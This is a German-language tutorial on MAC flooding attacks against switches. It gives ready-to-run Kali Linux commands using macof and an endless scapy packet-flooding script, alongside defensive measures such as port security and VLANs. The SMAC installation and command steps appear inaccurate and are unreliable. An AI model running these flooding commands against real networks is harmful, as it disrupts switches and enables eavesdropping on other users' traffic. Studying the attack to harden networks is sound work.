MAC Flooding: Angriff auf Switch-Sicherheit
Einführung
MAC Flooding ist eine Angriffstechnik, bei der ein Switch mit einer großen Anzahl gefälschter MAC-Adressen überflutet wird. Ziel ist es, die MAC-Adresstabelle des Switches zu füllen und diesen in den sogenannten Fail-Open-Modus zu versetzen. Dadurch verhält sich der Switch wie ein Hub, wodurch der Angreifer den gesamten Netzwerkverkehr abhören kann.
Funktionsweise
Switches verwenden MAC-Adresstabellen, um Daten effizient an die richtigen Ports zu senden. Diese Tabellen haben jedoch eine begrenzte Kapazität. Bei einem MAC-Flooding-Angriff werden so viele falsche MAC-Adressen gesendet, dass die Tabelle überläuft. Der Switch beginnt daraufhin, den Verkehr an alle Ports zu senden. Dieser Zustand wird als Fail-Open-Modus bezeichnet. Im Fail-Open-Modus verliert der Switch seine Fähigkeit, zielgerichtet Datenpakete weiterzuleiten, und verhält sich wie ein Hub.
Moderne Switches und Fail-Open-Modus
Heutige Switches verfügen in der Regel über Schutzmechanismen wie Port-Security, die das Auftreten des Fail-Open-Modus verhindern. Diese Mechanismen können:
- Die Anzahl der erlaubten MAC-Adressen pro Port begrenzen.
- Ungewöhnlichen Traffic erkennen und betroffene Ports automatisch blockieren.
- Den Netzwerkadministrator über verdächtige Aktivitäten informieren.
Obwohl ältere Geräte weiterhin anfällig sein können, sind moderne Netzwerke oft so konfiguriert, dass MAC Flooding-Angriffe wirkungslos sind.
Angriffsszenario
Voraussetzungen
- Kali Linux als Betriebssystem.
- Root-Rechte für die Verwendung von Angriffstools.
- Zugang zu einem Netzwerk, in dem der Angriff stattfinden soll.
Tools
macof: Ein einfaches Tool aus der dsniff-Suite.scapy: Ein Python-Framework zur Erstellung von Netzwerkpaketen.SMAC: Ein Tool zum Ändern der MAC-Adresse auf einfache Weise.
Durchführung des MAC-Flooding mit Kali Linux
Methode 1: MAC Flooding mit macof
macof ist Teil der dsniff-Suite und eignet sich hervorragend für schnelle Angriffe.
Schritte:
-
Installiere die dsniff-Suite (falls nicht vorinstalliert):
sudo apt update && sudo apt install dsniff -
Führe den Angriff mit
macofaus:sudo macof -i eth0-i eth0: Gibt die Netzwerkschnittstelle an, auf der der Angriff ausgeführt wird. Ersetzeeth0durch die entsprechende Schnittstelle deines Systems.
-
Beobachte den Netzwerkverkehr und bestätige, dass der Switch in den Fail-Open-Modus gewechselt hat.
Methode 2: MAC Flooding mit scapy
scapy ermöglicht eine detaillierte Kontrolle über die generierten Pakete.
Schritte:
-
Starte
scapyin der Kommandozeile:sudo scapy -
Führe das folgende Skript aus, um gefälschte MAC-Adressen zu senden:
from scapy.all import * interface = "eth0" # Netzwerkschnittstelle def flood(): while True: pkt = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(), dst=RandIP()) / UDP() sendp(pkt, iface=interface, verbose=False) flood()RandMAC(): Generiert zufällige MAC-Adressen.RandIP(): Generiert zufällige IP-Adressen.
-
Beende den Angriff mit
Ctrl+C.
Methode 3: MAC-Adressen mit SMAC ändern
SMAC ist ein Tool, das die manuelle Änderung von MAC-Adressen erleichtert. Es kann verwendet werden, um gezielt MAC-Adressen für Tests oder Angriffe zu setzen.
Schritte:
-
Installiere SMAC (falls nicht vorinstalliert):
sudo apt update && sudo apt install smac -
Ändere die MAC-Adresse deiner Netzwerkschnittstelle:
sudo smac --set-mac 00:11:22:33:44:55 -i eth0--set-mac: Gibt die gewünschte MAC-Adresse an.-i eth0: Gibt die Zielnetzwerkschnittstelle an.
-
Überprüfe die Änderung:
ifconfig eth0Die neue MAC-Adresse sollte angezeigt werden.
Abwehrmaßnahmen
- Port Security:
- Konfiguriere den Switch so, dass nur eine begrenzte Anzahl von MAC-Adressen pro Port akzeptiert wird.
- Netzwerk-Monitoring:
- Nutze Tools wie Wireshark, um ungewöhnlich hohen Verkehr zu erkennen.
- VLANs:
- Trenne das Netzwerk in mehrere VLANs, um die Angriffsoberfläche zu reduzieren.
Fazit
MAC Flooding ist ein effektiver Angriff, der jedoch mit entsprechenden Konfigurationen auf Switches und Monitoring leicht erkannt und verhindert werden kann. In einer sicheren Netzwerkumgebung sollte derartige Angriffe stets eingeübt werden, um Schwachstellen aufzudecken und zu beheben.
Die Nutzung von Tools wie SMAC erlaubt zusätzliche Flexibilität, um Testumgebungen realistischer zu gestalten oder spezifische Angriffszenarien umzusetzen.